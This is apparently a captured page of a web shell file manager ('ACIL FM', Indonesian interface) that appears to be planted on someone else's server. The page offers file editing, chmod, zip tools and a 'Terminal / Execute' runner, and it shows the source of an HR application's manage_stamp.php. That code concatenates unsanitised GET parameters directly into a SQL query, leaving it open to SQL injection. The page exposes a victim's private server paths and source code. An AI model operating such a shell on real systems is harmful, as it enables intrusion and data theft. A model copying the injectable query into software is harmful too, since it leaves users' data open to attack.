ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/app/NH-HR-test-old/mb/public/admin
/
home
mhhtmff
app
NH-HR-test-old
mb
public
admin
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
manage_permission.php
2 MB
chmod
View
DL
Edit
Rename
Delete
manage_stamp.php
1.67 MB
chmod
View
DL
Edit
Rename
Delete
manage_transfer.php
1.97 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/app/NH-HR-test-old/mb/public/admin/manage_stamp.php
<?php $stamp_id = $_GET["stamp_id"]; $secure = $_GET["secure"]; $type = $_GET["type"]; include "../../php/database.php"; include "../../php/globals.php"; $sql_stamp = "SELECT * FROM stamps WHERE id = " . $stamp_id . " AND secure = " . $secure . ""; $result_stamp = mysqli_query($con, $sql_stamp); $stamp = mysqli_fetch_assoc($result_stamp); if ($result_stamp->num_rows > 0) { if ($type == "approve") { $url = $manage_stamp_private_url; $data = ['result' => 'approvato', 'id' => $stamp_id]; $options = [ 'http' => [ 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query($data), ], ]; $context = stream_context_create($options); $response = file_get_contents($url, false, $context); if ($response == "ok") { echo "Richiesta approvata con successo"; } else { echo "Si è verificato un errore"; } } else if ($type == "reject") { $url = $manage_stamp_private_url; $data = ['result' => 'rifiutato', 'id' => $stamp_id]; $options = [ 'http' => [ 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query($data), ], ]; $context = stream_context_create($options); $response = file_get_contents($url, false, $context); if ($response == "ok") { echo "Richiesta rifiutata con successo"; } else { echo "Si è verificato un errore"; } } } else { echo "Timbratura non trovata"; }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply